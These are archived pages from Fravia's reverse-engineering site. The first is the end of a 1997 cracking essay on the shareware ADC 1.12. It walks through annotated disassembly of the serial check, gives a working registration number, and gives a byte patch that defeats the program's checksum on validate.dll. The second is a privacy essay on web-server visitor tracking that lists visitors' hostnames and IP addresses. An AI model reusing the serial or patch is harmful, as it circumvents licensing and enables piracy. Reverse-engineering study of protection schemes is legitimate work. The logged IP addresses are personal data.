:1C001293 0F8477000000 je 1C001310 ; Don't change this jump,
it won't work.

* Referenced by a Jump at Address:1C00127F(C)


| Possible StringData Ref from Data Obj ->"Registration" ; We want to
; Execute this code
:1C001299 685C60001C push 1C00605C
:1C00129E E81D090000 call 1C001BC0
:1C0012A3 8985FCFEFFFF mov dword ptr [ebp+FEFC], eax
:1C0012A9 8D8500FFFFFF lea eax, dword ptr [ebp+FF00]
:1C0012AF 50 push eax
:1C0012B0 E8BB0D0000 call 1C002070
:1C0012B5 83C404 add esp, 00000004
:1C0012B8 50 push eax
:1C0012B9 6A01 push 00000001
:1C0012BB 8D8500FFFFFF lea eax, dword ptr [ebp+FF00]
:1C0012C1 50 push eax

* Possible StringData Ref from Data Obj ->"Code"


|
:1C0012C2 686C60001C push 1C00606C
:1C0012C7 8B85FCFEFFFF mov eax, dword ptr [ebp+FEFC]
:1C0012CD 50 push eax
:1C0012CE E872090000 call 1C001C45
:1C0012D3 8B85FCFEFFFF mov eax, dword ptr [ebp+FEFC]
:1C0012D9 50 push eax
:1C0012DA E84F090000 call 1C001C2E
:1C0012DF 6A40 push 00000040

* Possible StringData Ref from Data Obj ->"ADC"


|
:1C0012E1 687460001C push 1C006074

http://www.instinct.org/fravia/aesc_adc.htm (3 of 10) [2/7/2001 3:06:00 PM]


sdzero

* Possible StringData Ref from Data Obj ->"Thank you for registering!"
|
:1C0012E6 687860001C push 1C006078

The validation sequence begins at :1C00128C. Lets search for the code
where this CALL points to: Hit the search button at wdsm85 (or text
editor) looking for :1C0018D8. We land here:

* Referenced by a CALL at Addresses:1C00128C, :1C001A4D


; The validation sequence is activated
; from two
different code locations

:1C0018D8 55 push ebp


:1C0018D9 8BEC mov ebp, esp
:1C0018DB 83EC30 sub esp, 00000030
:1C0018DE 53 push ebx
:1C0018DF 56 push esi
:1C0018E0 57 push edi
:1C0018E1 C745D01E000000 mov [ebp-30], 0000001E ; fixed value
:1C0018E8 C745FC06000000 mov [ebp-04], 00000006 ; fixed value
:1C0018EF 837D0800 cmp dword ptr [ebp+08], 00 ; Is the typed code
equal to 00? then
EAX=0 Unreg.

:1C0018F3 0F8507000000 jne 1C001900


:1C0018F9 33C0 xor eax, eax ; Erase EAX, EAX=0 Unreg.
:1C0018FB E900010000 jmp 1C001A00 ; Return to the CALLer

* Referenced by a Jump at Address:1C0018F3(C)


|
:1C001900 8B4508 mov eax, dword ptr [ebp+08]
:1C001903 50 push eax

? Reference To: KERNEL32.lstrlenA, Ord:028Dh ; Get Number of digits of the


; typed serial number
|
:1C001904 FF15A891001C Call dword ptr [1C0091A8]
:1C00190A 83F808 cmp eax, 00000008 ; Is the number you
typed more or less
than 8 digits, then
EAX=0 Unreg.
:1C00190D 0F8407000000 je 1C00191A
:1C001913 33C0 xor eax, eax ; Erase EAX
:1C001915 E9E6000000 jmp 1C001A00 ; Return to the CALLer

* Referenced by a Jump at Address:1C00190D(C)


|
:1C00191A 8B45D0 mov eax, dword ptr [ebp-30]
:1C00191D 50 push eax

* Possible StringData Ref from Data Obj ->"%02d"


|
:1C00191E 68D460001C push 1C0060D4

http://www.instinct.org/fravia/aesc_adc.htm (4 of 10) [2/7/2001 3:06:00 PM]


sdzero

:1C001923 8D45D4 lea eax, dword ptr [ebp-2C]


:1C001926 50 push eax
:1C001927 E8B4080000 call 1C0021E0
:1C00192C 83C40C add esp, 0000000C
:1C00192F 8B4508 mov eax, dword ptr [ebp+08] ; Moves the code offset
to EAX
:1C001932 0FBE00 movsx eax, byte ptr [eax]; Moves the first byte
of the code to EAX
:1C001935 83E830 sub eax, 00000030; Converts the first
digit to decimal
:1C001938 8945F8 mov dword ptr [ebp-08], eax; Moves the decimal
value to [ebp-08]
:1C00193B 8B4508 mov eax, dword ptr [ebp+08]; Moves the code offset
to EAX
:1C00193E 0FBE4001 movsx eax, byte ptr [eax+01]; Moves the second byte
of the code to EAX
:1C001942 83E830 sub eax, 00000030; Converts second digit
to decimal
:1C001945 8945F4 mov dword ptr [ebp-0C], eax; Moves the decimal
value of the second
digit to [ebp-0c] and
so on with the rest
of the 8 digits
:1C001948 8B4508 mov eax, dword ptr [ebp+08]
:1C00194B 0FBE4002 movsx eax, byte ptr [eax+02]
:1C00194F 83E830 sub eax, 00000030
:1C001952 8945F0 mov dword ptr [ebp-10], eax; third decimal value
; in [ebp-10]
:1C001955 8B4508 mov eax, dword ptr [ebp+08]
:1C001958 0FBE4003 movsx eax, byte ptr [eax+03]
:1C00195C 83E830 sub eax, 00000030
:1C00195F 8945EC mov dword ptr [ebp-14], eax; fourth in [ebp-14]
:1C001962 8B4508 mov eax, dword ptr [ebp+08]
:1C001965 0FBE4004 movsx eax, byte ptr [eax+04]
:1C001969 83E830 sub eax, 00000030
:1C00196C 8945E4 mov dword ptr [ebp-1C], eax; fifth in [ebp-14]
:1C00196F 8B4508 mov eax, dword ptr [ebp+08]
:1C001972 0FBE4005 movsx eax, byte ptr [eax+05]
:1C001976 83E830 sub eax, 00000030
:1C001979 8945E0 mov dword ptr [ebp-20], eax; sixth in [ebp-20]
:1C00197C 8B4508 mov eax, dword ptr [ebp+08]
:1C00197F 0FBE4006 movsx eax, byte ptr [eax+06]
:1C001983 83E830 sub eax, 00000030
:1C001986 8945DC mov dword ptr [ebp-24], eax; seventh in [ebp-24]
:1C001989 8B4508 mov eax, dword ptr [ebp+08]
:1C00198C 0FBE4007 movsx eax, byte ptr [eax+07]
:1C001990 83E830 sub eax, 00000030
:1C001993 8945D8 mov dword ptr [ebp-28], eax; eighth in [ebp-28]
:1C001996 8B45F8 mov eax, dword ptr [ebp-08]; Moves first digit to
EAX
:1C001999 2B45D8 sub eax, dword ptr [ebp-28]; first-eighth
:1C00199C 8B4DF4 mov ecx, dword ptr [ebp-0C]; Moves second digit to
ECX
:1C00199F 2B4DDC sub ecx, dword ptr [ebp-24]; second-seventh

http://www.instinct.org/fravia/aesc_adc.htm (5 of 10) [2/7/2001 3:06:00 PM]


sdzero

:1C0019A2 0FAFC1 imul eax, ecx ; (first-eighth)*(second-seventh)


:1C0019A5 8945E8 mov dword ptr [ebp-18], eax; Result stored in
[ebp-18]
:1C0019A8 8B45E8 mov eax, dword ptr [ebp-18] ; Moves result to EAX
:1C0019AB 99 cdq ; Moves high order bits of EAX to EDX
:1C0019AC 33C2 xor eax, edx ; Exclusive OR
:1C0019AE 2BC2 sub eax, edx ; subtract EAX-EDX
:1C0019B0 8945E8 mov dword ptr [ebp-18], eax ; result in [ebp-18]
:1C0019B3 8B45E8 mov eax, dword ptr [ebp-18] ; result in EAX
:1C0019B6 3945D0 cmp dword ptr [ebp-30], eax ; EAX must be equal
; to value at [ebp-30]
; [ebp-30]=1Eh=30Dec at
; :1C0018E1 (look back)
:1C0019B9 0F8407000000je 1C0019C6
:1C0019BF 33C8 xor ecx, eax ; if EAX<>1E (30 decimal) then XOR EAX
; and EAX=0 Unreg.
:1C0019C1 E93A000000 jmp 1C001A00 ; Returns to the CALLer

At this point we could easily crack this schemes by changing instruction


:1C0019BF from XOR EAX,EAX to XOR ECX,EAX, this would erase ECX
leaving EAX intact, if EAX<>0 the program is Registered, and the
protection scheme would be disabled. Off course, we would have to deal
with the checksum (read the validate.dll checksum annihilation add on, at
the end of this essay).

However, we want to go for the gold, lets calculate the valid serial
number: we know that the validation code is calculated according to the
following equation: (first digit - eighth digit) * (second digit -
seventh digit)= 1Eh = 30 Decimal. The high order bits of EAX should be
"0" because this value will be stored in EDX and finally EDX is
subtracted from EAX.

So lets begin with this tentative 8 digits number:

88776623 ; Applying the equation: (8 - 3) * (8 - 2) => (5) * (6) =


30 Decimal = 1E Hexadecimal.

(Don't forget to check the SUB REGISTER, 30 instruction ADD ON, at


the end of this document)

This attempt will pass the first validation test and leads the
execution to the following piece of code:

* Referenced by a Jump at Address:1C0019B9(C)


|
:1C0019C6 8B45F0 mov eax, dword ptr [ebp-10]; Moves third digit to EAX
:1C0019C9 2B45E0 sub eax, dword ptr [ebp-20]; Subtract third-sixth
:1C0019CC 8B4DEC mov ecx, dword ptr [ebp-14]; Moves Fourth digit to ECX
:1C0019CF 2B4DE4 sub ecx, dword ptr [ebp-1C]; Subtr. Fourht - fifth
:1C0019D2 0FAFC1 imul eax, ecx ; (third-sixth) * (fourth-fifth)
:1C0019D5 8945E8 mov dword ptr [ebp-18], eax; Moves result to
; [ebp-18]
:1C0019D8 8B45E8 mov eax, dword ptr [ebp-18]; Moves result to EAX
:1C0019DB 99 cdq ; Moves high order bits of EAX to EDX

http://www.instinct.org/fravia/aesc_adc.htm (6 of 10) [2/7/2001 3:06:00 PM]


sdzero

:1C0019DC 33C2 xor eax, edx ; Exclusive OR


:1C0019DE 2BC2 sub eax, edx ; Subtract EAX-EDX
:1C0019E0 8945E8 mov dword ptr [ebp-18], eax; Moves result to
; [ebp-18]
:1C0019E3 8B45E8 mov eax, dword ptr [ebp-18]; Moves result to EAX
:1C0019E6 3945FC cmp dword ptr [ebp-04], eax; Compares EAX with
; [ebp-04] which is
; equal to 06h (look
; back at :1C0018E8)
:1C0019E9 0F8407000000 je 1C0019F6 ; If equal return to the CALLer
:1C0019EF 33C0 xor eax, eax ; If not equal EAX=0 Unreg.
:1C0019F1 E90A000000 jmp 1C001A00 ; Return to the CALLer with EAX=0

* Referenced by a Jump at Address:1C0019E9(C)


|
:1C0019F6 B801000000 mov eax, 00000001 ; The serial number has passed
; all tests, therefore,
; EAX=01 Registered
:1C0019FB E900000000 jmp 1C001A00 ; Return to the CALLer
; with EAX=1 Registered

* Referenced by a Jump at Addresses:1C0018FB(U), :1C001915(U), :1C0019C1(U),


:1C0019F1(U), :1C0019FB(U)
|
:1C001A00 5F pop edi
:1C001A01 5E pop esi
:1C001A02 5B pop ebx
:1C001A03 C9 leave
:1C001A04 C20400 ret 0004

The equation looks like this: (third digit - sixth digit) * (fourth
digit - fifth digit) = 06h = 6 Decimal.

Lets modify our tentative number according to this:

Valid Number: 88552323, where, (5 - 3) * (5 - 2) =>


(2) * (3) = 6 Decimal = 06hex.

This number seems to pass all tests.

Now try to register ADC 1.12 with the Serial Number: 88552323 and
it works!

VALIDATE.DLL ANNIHILATION ADD ON

Once we've cracked the file validate.dll with our favorite hex
editor, everything seems to be fine, but when we double click on the main
executable (ADC.EXE), another window pops up!!! VALIDATE.DLL missing or
invalid. No!!!, there's a checksum to verify the integrity of the .dll file,
Damn!!!
We're sitting in our workbench once again. If you try to execute
ADC.EXE with WXI in memory, it'll inform you that the checksum resides in
the main executable (ADC.EXE) itself. So lets disassemble this file with

http://www.instinct.org/fravia/aesc_adc.htm (7 of 10) [2/7/2001 3:06:00 PM]


sdzero

wdsm85 and hit the search button looking for this sequence: "VALIDATE.DLL is
missing or invalid". We land here:

* Referenced by a Jump at Address:00409239(U)


|
:00409266 83C4FC add esp, FFFFFFFC
:00409269 A350F44800 mov [0048F450], eax
:0040926E C60548F3480000 mov byte ptr [0048F348],00; Redundant
; Instruction

Several instructions eliminated to save some space!

* Referenced by a Jump at Address:004092DC(U)


|
:0040930D A33CF34800 mov [0048F33C], eax
:00409312 E8A9A70100 call 00423AC0 ; Checksum
:00409317 A3FCF74800 mov [0048F7FC], eax; Moves the checksum
; of the modified
; file to [48F7FC]

:0040931C 8B15E8154800 mov edx, dword ptr [004815E8]; Moves the valid
checksum of the
original file
validate.dll to
[4815E8]
:00409322 3BC2 cmp eax, edx ; Compares both values
:00409324 0F8576000000 jne 004093A0 ; Jumps if the .dll
; file is invalid
; to 4093A0

Several instructions eliminated to save space!

? Referenced by a Jump at Addresses:00409324(C), :0040937A(C)


; The checksum is activated
; from two different sections
; of the code.
* Reference To: USER32.GetFocus, Ord:0000h
|
:004093A0 E800D50600 Call 004768A5 ; This is the part we
; don't want to see
; in our screen!
:004093A5 6A00 push 00000000
:004093A7 6A10 push 00000010

* Possible StringData Ref from Data Obj ->"Fatal"


|
:004093A9 689B7B4700 push 00477B9B

* StringData Ref from Data Obj ->"VALIDATE.DLL is missing or invalid."


|
:004093AE 68777B4700 push 00477B77
:004093B3 50 push eax

Pay attention to this explanation: The checksum is calculated at :409319,

http://www.instinct.org/fravia/aesc_adc.htm (8 of 10) [2/7/2001 3:06:00 PM]


sdzero

then, the checksum of the modified file is stored at memory location


[48F7FC], the valid checksum of the original file is stored at EDX from
memory location [4815E8]. At instruction :409322 both values are compared
and the decision is taken at instruction :409324 which will jump if the
checksums values are different. Changing the JNE to JE won't crack this
scheme, because the invalid checksum has already been stored at a memory
location where it'll be checked by other locations of the code. The
programmer was very intelligent because he moved the invalid checksum from a
register (EAX) to the memory, and the valid checksum from memory to a
register (EDX); this particular configuration will prevent us to move the
right checksum to the invalid checksum memory location, because assembly can
not move data directly from one memory location to another (except by the
use of rep movs instructions). We can't move the right cheksum to EAX at
409317 (MOV EAX, [4815E8]) because the program will crash. This piece of code
is not as easy to crack as it seems.

Now load ADC.EXE with WINICE press ctrl-d, set a breakpoint at


cs:409322 to see what's the difference between both checksums. Start ADC and
WINICE will pop up. Execute: ? EAX and ? EDX to check both values. You get
this:

EAX: F4E9C8A1
EDX: F4E9C8A9

The difference resides in the last digit; you also know that EAX
value is stored backwards at [48F7FC], this means that A1 will be
stored at the first byte of that memory location. All we have to do
to crack this mess is search for a redundant instruction to change the byte
at [48F7FC] from A1h to A9h. Searching backwards in the code we find the
perfect instruction (mov byte ptr) at :40926E. To be sure that it is in fact
redundant, set a breakpoint at CS:40926E and when WINICE pops up, execute:
d [48F348]. Just what I thought, this byte is already zero before the
instruction stores 00 at it, therefore, it's redundant and not necessary.

Finally, to crack the checksum, change this:

:0040926E C60548F3480000 mov byte ptr [0048F348],00

to

:0040926E C605E8154800A9 mov byte ptr [0048F7FC],A9

The checksum has been defeated!

Don't forget this: redundant instructions are frequently located at


push & pop sequences of the beginning and ending of almost every CALL. You
may use this spare bytes at your will!

SUB REGISTER, 30 INSTRUCTION ADD ON


By Aesculapius

Many programs use the instruction: SUB REGISTER, 30 to convert a


hexadecimal number to its decimal equivalent. Locating instructions like
this one, for instance: SUB EAX, 30 several times in the same piece of code

http://www.instinct.org/fravia/aesc_adc.htm (9 of 10) [2/7/2001 3:06:00 PM]


sdzero

will warn you about two things:

1. A valid code calculation sequence could be there.


2. This instruction is used only with numbers (not with letters). So there
are as many numbers in the serial code as SUB REGISTER, 30 instructions in
the asm code.

Aesculapius - July 97
Email: aesculapius@cyberjunkie.com
HomePage: http://aesculapius.home.ml.org

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


search_forms corporate mailFraVia
Is reverse engineering legal?

http://www.instinct.org/fravia/aesc_adc.htm (10 of 10) [2/7/2001 3:06:00 PM]


What Fravia knows about you

Fravia's Anonymity Academy

What Fravia knows about you


Obvious stuff for those who know, amazing material for those who don't ~ updated: June 1999
[statistical machinations] ~ [1996] ~ [1997] ~ [1998] ~ [1999]

Statistical machinations
This page's main aim is to show you what I do know about you, I mean, about the people visiting the servers where I'm hosted. All this stuff is obvious for those among us that use own-made or
ready-made trackers, pretty amazing for those among us (like I myself was some years ago) that don't know all the following possibilities. As you'll see, you better travel anonimously... else you
are a sitting duck.

Strange as it may seem to people not already knowing all this (and unfortunately many do not), I know (with some interesting exceptions) who you are, from which site you come from, how long
you have been there, which urls on my site you are interested in, where and what and through which specific URLs of mine you are moving. Looking at my stats I may decide to track your IP, or
to track all those accessing a specific URL (this is the way I found out which people, and from where, have accessed my advanced stego page, btw). I could then block your specific IP from
accessing all my site, or a part of it (I have never done it) or I may just choose to have a close 'watch' set on your IP, just in order to see what the cuckoo you are doing in my site, or where you are
going when you leave it (amazing how many people have started searching Altavista for Lempicka after having had a look at my stego.htm page :-)
Of course, as you'll learn elsewhere on my site, anybody nowadays has at least half a dozen different IPs, yet the lure is always the same and works as in the old trap: people interested in specific
matters will try to access them in a hurry, no-matter the risk!

As you'll see below, our tracking systems grow and develop quite a lot. I have divided the 'findings' in phases (chronologically) and you'll see how much I knew about you a couple of years ago,
how much I knew last year and how much I know now (much too much... I'm wasting a lot of time looking at my stats! :-(

No anonimity in 1996, I regret


Dear internaut, unfortunately all the data you have been disseminating around have been collected and used to get your exact profile... this is happening everywhere on the planet, not only on the
Web: Cyberocracy, as some call it, is getting nearer and nearer... they trace us every time we use credit cards, every time you buy in a supermarket with the so called "advantage" cards (why do
you think they give them out and ask you to use them, duh?), every time you make a search or simply visit places on the web, or email somebody, or access (or email) a usenet group. This page will
try to explain the problems and hint to some counter measure you would be well advised to take. First of all Have a look at what I knew in 1996 about the people hitting my page (5th of November
1996: my dutch spider on Geocities)

On 5-Nov-1996 the counter was accessed 251 time(s) by:


00:58:02 208.201.14.108
00:57:50 slip4.warman.com.pl
00:56:59 jln48.clandjop.com
00:51:55 dsm-ia4-04.ix.netcom.com
00:49:48 por1_p7.telepac.pt
00:43:10 bribe.circus.cse.unsw.EDU.AU
00:40:45 id226.arrakis.es
00:39:55 www-v3.proxy.aol.com
00:38:26 badger.hi-line.net
00:24:28 mdm-po18.jhb168-anx1.net.globa
00:20:49 206.47.102.53
00:18:43 202.42.162.53
00:16:11 niobe.c2.net <---- (a clever one: anonymizer trace!)

http://www.instinct.org/fravia/whatdika.htm (1 of 25) [2/7/2001 3:06:18 PM]


What Fravia knows about you
00:02:25 pm1a1.ipoline.com
00:00:53 c31.ryd.student.liu.se
23:50:24 207.0.8.76
23:45:53 dialup15.isicom.fr
23:41:43 port320-Auck.ihug.co.nz
23:35:23 acc1p12.trib.com
23:30:04 du2-223.pool.dircon.co.uk
23:15:22 dtw-16.rust.net
.... and so on and so on for pages and pages...
Pretty scary (I repeat, only for those that did not know), isn't it? Yet this is only the beginning...

Even less anonimity in 1997, I regret


To see how tracking possibilities developed, have a look, for instance, at an example page of mine, here you have a 'picture' taken one year after the previous one accesses 29 Nov 1997... (see if
you find yourself in there... gee! I would really love to contact the ID that left a track as "cassis.sante.u-bordeaux2.fr"! I bet such an 'oenological' visitor will know quite a lot about good wines! :-)

As you can see, there is an improvement... yet that's NOTHING: see below how scary are the tracking system I use now:

Definitely no anonimity in 1998, I regret


Yes, here we come to the 'very actual' situation. Basically, I can do with my visiting guests whatever I will (with some VERY inetersting exceptions). Here you have the people on line at the same
moment (live users) on one of my main sites a couple of days ago: This is a particularly interesting snippet because I'm pretty sure that one of my 'live' visitors on that morning has been +ORC
himself (awaiting aknowledgment, master, I know where you went afterwards too :-) with a completely (and humorously) faked Compuserve address, have a look for yourself (expert ORCstalkers
will immediately understand).

Now have a look at the instructions for tracking guests (this will scare you to death, I know, yet get acquainted with it... any server and any stupid server administrator can use this kind of
facilities, my little wrstchen):
Watches
Watches perform two functions.

1) Watches are used to track how often a particular URL, CGI gateway or
resource on the Web Server is accessed. The IP Address of every user who
accesses the resource is logged.

2) Watches can also watch any IP Address or range of IP Addresses that


visit the Server. The complete session of any user(s) from that IP are
logged.

Watches are viewed and managed using the following two options.

Watch
Results
A list of all configured Watches is displayed, showing how many
times they have been Hit as well as the number of days since they
were initiated. Details for any watch can be viewed by clicking
the Magnifying Glass adjacent to it.
Watch
Admin
The Watch Admin option is used to administrate Watches. It is used

http://www.instinct.org/fravia/whatdika.htm (2 of 25) [2/7/2001 3:06:18 PM]


What Fravia knows about you
to Create, Edit, Delete and Empty watches. Typically this tab is
only available to Administrators and requires a password to be
used.

Refresh Button
The Refresh button forces a new Watches page to be generated. The
report will be updated, accurate up to the moment the page is
generated.

Printing Reports
1) Select the Print button located at the top of the Watches page.
This will generate a new Web page formatted for printing without
buttons or page controls.

2) Use your Web Browser Print command to send the print job to your
printer.

3) Use your Web Browser Back button to exit the printable Web page.

Watch Results
All Watches are accessible by selecting the Watch Listing option.

Magnifying
Glass
A detailed log for any watch can be viewed by clicking the Magnifying
Glass adjacent to it. A Watch History Web Page is generated displaying
the log file.

To print the Watch History Web Page:

1) Select the Print button located at the top of the Watch History page.
This will generate a new Web page formatted for printing without
buttons or page controls.

2) Use your Web Browser Print command to send the print job to your
printer.

3) Use your Web Browser Back button to exit the printable Web page.

Watch Name
The Watch Name assigned to the Watch when it was created using the
Watch Admin option. The URL or IP Address being watched is displayed
below the Watch Name.
Hits
The number of times the Watch has been triggered. In the case of a
URL Watch, this means the URL being watched has been Hit. In the case
of an IP Watch, this means the Web Site has been visited (Hit).
Days
The number of Days since the Watch was created.

Watch Admin
The Watch Admin option is used to administrate Watches. It is used to Create,

http://www.instinct.org/fravia/whatdika.htm (3 of 25) [2/7/2001 3:06:18 PM]


What Fravia knows about you
Edit, Delete and Empty watches.

Note: On many Web Sites this tab is only available to Administrators and is
protected accordingly using NT Security. If you are unable to view the Watch
Administration interface, this is likely the reason.

The following Administration Features are available by selecting the Watch


Admin option:

New
Watch
Select the New button to create a new Watch.

1) Type Select URL Watch or IP Watch from the select box. URL Watches
are used to track a particular URL, CGI gateway or resource on a
Virtual Server. IP Watches are used to watch any user IP address or
range of IP addresses that visit the Web Site.
You can easily understand how a combination of the two watches decsribed above has easily allowed me to find out some time ago who where some undesiderable "IMF" visitors, where they
roamed and where from and where to they came and left :-)
2) Title The descriptive name you define for the watch.
3) Watch For The full URL or IP Address to watch.
To watch a single IP Address a fully defined IP address such as
199.71.150.60 is required. To watch a Range of IP Addresses a
partially defined IP address such as 199.71.150.* is required.
In this example any hosts in the 199.71.150 network would be
included in the watch.

Some examples of URL Watches follow:

DOS path to the HTML file: c:\somesubdir\wwwroot\default.htm


Relative URL is
typed as follows: /

DOS path to the HTML file: c:\somesubdir\wwwroot\thanks.htm


Relative URL is
typed as follows: /thanks.htm

URL Watch for a Executable File.


DOS path to the executable file:
c:\somesubdir\wwwroot\files\sample.exe
Relative URL is typed as follows:
/files/sample.exe

URL Watch for a CGI Gateway.


The database shown here is called using the question mark (?) CGI
operator with the open (o_products) parameter.
Relative URL
is typed as follows: /database/db.dll?o_products

4) Options Keep Detailed Log. If checked, a detailed Log is kept


showing every request for the URL. If not checked, no log is kept,
however Totals are still tabulated and Days are counted.

http://www.instinct.org/fravia/whatdika.htm (4 of 25) [2/7/2001 3:06:18 PM]


What Fravia knows about you
Suspend Watching. If checked, watching is suspended, no log is kept,
Totals are not tabulated and Days are not counted.

5) Use the Submit Watch button to submit the completed Watch. Use the Back
button to exit without submitting the Watch.

Edit
Watch
Use the Edit button adjacent to the Watch Name to make changes to an
existing Watch.
Delete
Watch
Use the Delete button adjacent to the Watch Name to completely remove a
Watch including the log file for the Watch.
Empty
Watch
Use the Empty button adjacent to the Watch Name to empty (delete) the
contents of the Watch Log.

Amazing, isn't it? Now take a minute and think about this kind of Web-tracking: if I can trace you so easily... imagine what people without money and time constraints like Microsoft &
Compu$erve, and the search engines you access, and all the other snooping censors can manage to gather...

Back to the top of this nice page

No anonimity in 1999 either, I am afraid


Just checking 10 minutes of suspicious site-phoning from Bristol university on my logfiles for the 3rd of June...

137.222.103.136, -, 6/3/99, 9:10:00, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/xoa_126.htm, -,
137.222.103.136, -, 6/3/99, 9:10:06, W3SVC1, FRAVIA, 129.105.116.5, 10, 141, 233, 200, 0, HEAD,
/fravia/ruler.zip, -,
137.222.103.136, -, 6/3/99, 9:10:06, W3SVC1, FRAVIA, 129.105.116.5, 95337, 143, 21531, 200, 0, GET,
/fravia/project3.htm, -,
137.222.103.136, -, 6/3/99, 9:10:12, W3SVC1, FRAVIA, 129.105.116.5, 7411, 142, 18838, 200, 0, GET,
/fravia/xoa_126.htm, -,
137.222.103.136, -, 6/3/99, 9:10:14, W3SVC1, FRAVIA, 129.105.116.5, 4016, 140, 26402, 200, 0, GET,
/fravia/ruler.zip, -,
137.222.103.136, -, 6/3/99, 9:10:14, W3SVC1, FRAVIA, 129.105.116.5, 0, 142, 233, 200, 0, HEAD,
/fravia/peek11.zip, -,
202.139.227.211, -, 6/3/99, 9:10:15, W3SVC1, FRAVIA, 129.105.116.5, 1032, 528, 3774, 200, 0, GET,
/fravia/coriolan.htm, -,
137.222.103.136, -, 6/3/99, 9:10:24, W3SVC1, FRAVIA, 129.105.116.5, 56301, 143, 34670, 200, 0, GET,
/fravia/snippets.htm, -,
137.222.103.136, -, 6/3/99, 9:10:27, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 233, 200, 0, HEAD,
/fravia/stepdos.zip, -,
202.139.227.211, -, 6/3/99, 9:10:27, W3SVC1, FRAVIA, 129.105.116.5, 1061, 527, 31150, 200, 0, GET,
/fravia/special.htm, -,
212.20.134.8, -, 6/3/99, 9:10:32, W3SVC1, FRAVIA, 129.105.116.5, 338607, 471, 27380, 200, 0, GET,

http://www.instinct.org/fravia/whatdika.htm (5 of 25) [2/7/2001 3:06:18 PM]


What Fravia knows about you
/fravia/sdzero.htm, -,
137.222.103.136, -, 6/3/99, 9:10:37, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/timelock.htm, -,
137.222.103.136, -, 6/3/99, 9:10:38, W3SVC1, FRAVIA, 129.105.116.5, 3155, 142, 19321, 200, 0, GET,
/fravia/stepdos.zip, -,
137.222.103.136, -, 6/3/99, 9:10:40, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/hutsting.htm, -,
137.222.103.136, -, 6/3/99, 9:10:41, W3SVC1, FRAVIA, 129.105.116.5, 44063, 142, 58191, 200, 0, GET,
/fravia/winshow.zip, -,
137.222.103.136, -, 6/3/99, 9:10:43, W3SVC1, FRAVIA, 129.105.116.5, 213717, 143, 201242, 200, 0, GET,
/fravia/watcom11.zip, -,
137.222.103.136, -, 6/3/99, 9:10:43, W3SVC1, FRAVIA, 129.105.116.5, 0, 141, 232, 200, 0, HEAD,
/fravia/sniff.zip, -,
137.222.103.136, -, 6/3/99, 9:10:44, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/crunchi3.htm, -,
137.222.103.136, -, 6/3/99, 9:10:44, W3SVC1, FRAVIA, 129.105.116.5, 100794, 140, 58950, 200, 0, GET,
/fravia/bconv.zip, -,
137.222.103.136, -, 6/3/99, 9:10:44, W3SVC1, FRAVIA, 129.105.116.5, 5447, 143, 9127, 200, 0, GET,
/fravia/timelock.htm, -,
137.222.103.136, -, 6/3/99, 9:10:48, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 226, 200, 0, HEAD,
/fravia/uninstms.htm, -,
137.222.103.136, -, 6/3/99, 9:10:48, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 232, 200, 0, HEAD,
/fravia/memscan.zip, -,
137.222.103.136, -, 6/3/99, 9:10:52, W3SVC1, FRAVIA, 129.105.116.5, 104761, 141, 41112, 200, 0, GET,
/fravia/protec.htm, -,
137.222.103.136, -, 6/3/99, 9:10:55, W3SVC1, FRAVIA, 129.105.116.5, 0, 139, 232, 200, 0, HEAD,
/fravia/kgb.zip, -,
137.222.103.136, -, 6/3/99, 9:10:56, W3SVC1, FRAVIA, 129.105.116.5, 7261, 143, 18017, 200, 0, GET,
/fravia/crunchi3.htm, -,
137.222.103.136, -, 6/3/99, 9:10:59, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 227, 200, 0, HEAD,
/fravia/crunchi4.htm, -,
137.222.103.136, -, 6/3/99, 9:10:59, W3SVC1, FRAVIA, 129.105.116.5, 6189, 142, 9724, 200, 0, GET,
/fravia/memscan.zip, -,
137.222.103.136, -, 6/3/99, 9:10:59, W3SVC1, FRAVIA, 129.105.116.5, 6209, 140, 9931, 200, 0, GET,
/fravia/sniff.zip, -,
202.139.227.211, -, 6/3/99, 9:10:59, W3SVC1, FRAVIA, 129.105.116.5, 2113, 525, 62979, 200, 0, GET,
/fravia/links.htm, -,
137.222.103.136, -, 6/3/99, 9:11:00, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 227, 200, 0, HEAD,
/fravia/xava_27.htm, -,
137.222.103.136, -, 6/3/99, 9:11:00, W3SVC1, FRAVIA, 129.105.116.5, 5398, 143, 12808, 200, 0, GET,
/fravia/uninstms.htm, -,
137.222.103.136, -, 6/3/99, 9:11:00, W3SVC1, FRAVIA, 129.105.116.5, 0, 139, 233, 200, 0, HEAD,
/fravia/map.zip, -,
137.222.103.136, -, 6/3/99, 9:11:04, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 232, 200, 0, HEAD,
/fravia/codebar.zip, -,
137.222.103.136, -, 6/3/99, 9:11:11, W3SVC1, FRAVIA, 129.105.116.5, 6619, 142, 17895, 200, 0, GET,
/fravia/xava_27.htm, -,
137.222.103.136, -, 6/3/99, 9:11:13, W3SVC1, FRAVIA, 129.105.116.5, 0, 143, 226, 200, 0, HEAD,
/fravia/cynapp1.htm, -,
137.222.103.136, -, 6/3/99, 9:11:15, W3SVC1, FRAVIA, 129.105.116.5, 10164, 143, 20550, 200, 0, GET,
/fravia/crunchi4.htm, -,
137.222.103.136, -, 6/3/99, 9:11:15, W3SVC1, FRAVIA, 129.105.116.5, 10435, 138, 24192, 200, 0, GET,

http://www.instinct.org/fravia/whatdika.htm (6 of 25) [2/7/2001 3:06:19 PM]


What Fravia knows about you
/fravia/map.zip, -,
137.222.103.136, -, 6/3/99, 9:11:17, W3SVC1, FRAVIA, 129.105.116.5, 10885, 141, 11725, 200, 0, GET,
/fravia/peek11.zip, -,
137.222.103.136, -, 6/3/99, 9:11:19, W3SVC1, FRAVIA, 129.105.116.5, 10, 144, 232, 200, 0, HEAD,
/fravia/joetools.zip, -,
137.222.103.136, -, 6/3/99, 9:11:19, W3SVC1, FRAVIA, 129.105.116.5, 0, 144, 227, 200, 0, HEAD,
/fravia/wyatt_vb.htm, -,
